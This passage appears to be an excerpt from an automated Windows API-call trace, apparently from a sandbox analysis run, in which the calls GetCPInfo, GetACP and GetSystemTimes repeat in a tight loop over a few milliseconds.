| out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.250] GetACP () returned 0x4e4 [0053.250] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.250] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.250] GetACP () returned 0x4e4 [0053.250] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.250] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.250] GetACP () returned 0x4e4 [0053.250] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.250] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.250] GetACP () returned 0x4e4 [0053.250] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.250] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.250] GetACP () returned 0x4e4 [0053.250] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.250] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.250] GetACP () returned 0x4e4 [0053.250] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.250] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.250] GetACP () returned 0x4e4 [0053.250] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.250] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.250] GetACP () returned 0x4e4 [0053.250] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.251] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.251] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.251] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.251] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.251] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.251] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.251] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.251] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.251] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.252] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.252] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.252] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.252] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.252] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.252] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.252] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.252] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.252] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.254] GetACP () returned 0x4e4 [0053.254] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.254] GetACP () returned 0x4e4 [0053.254] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.254] GetACP () returned 0x4e4 [0053.254] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.254] GetACP () returned 0x4e4 [0053.254] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.254] GetACP () returned 0x4e4 [0053.254] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.254] GetACP () returned 0x4e4 [0053.254] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.254] GetACP () returned 0x4e4 [0053.254] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.254] GetACP () returned 0x4e4 [0053.254] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.254] GetACP () returned 0x4e4 [0053.254] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: 